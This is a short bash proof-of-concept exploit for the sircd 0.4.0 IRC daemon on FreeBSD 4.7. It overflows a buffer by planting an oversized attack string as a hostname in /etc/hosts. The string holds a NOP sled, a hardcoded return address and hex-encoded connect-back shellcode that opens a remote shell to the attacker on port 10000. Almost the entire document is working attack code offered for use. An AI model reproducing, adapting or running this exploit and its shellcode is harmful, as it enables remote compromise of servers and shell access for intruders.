#!/usr/local/bin/bash
# /usr/ports/irc/sircd ; sircd v0.4.0; FreeBSD 4.7-RELEASE-p2
# shellcode=connect back to port 10000 shellcode (72 bytes) by bighawk
# lousy script by knud
echo -e "\nsircd 0.4.0 proof-of-concept, usage $0 <ip-of-attacker>\n"

# assign variables
attackerip=$1
filler=`perl -e 'print "B" x 94'`
returnaddress=`perl -e '$i=pack("l",0xbfafec04);print $i'`
egg=`perl -e 'print "\x90" x 328 . "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\x7f\x01\x01\x01\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"'`
attackstring=`echo "$filler$returnaddress$returnaddress$egg"` #read->                           127.0.0.1^^^^^^^^^^^^^^^

# need uid=0 to modify /etc/hosts 
if [ $UID -gt 0 ]; 
then                
echo "UID = $UID, != 0, cannot continue"; 
else 
echo "UID check passed, backing up /etc/hosts"
# if we end up here all is well
cp /etc/hosts /etc/hosts.$$
echo -e "$attackerip\t$attackstring\t$attackstring" > /etc/hosts
echo -e "Now connect to the sircd from $attackerip"
echo -e "Press a key and enter to restore /etc/hosts"
read restore
if [ $restore = "" ];
then cp /etc/hosts.$$ /etc/hosts
else cp /etc/hosts.$$ /etc/hosts
echo "Game over man, game over"
fi
fi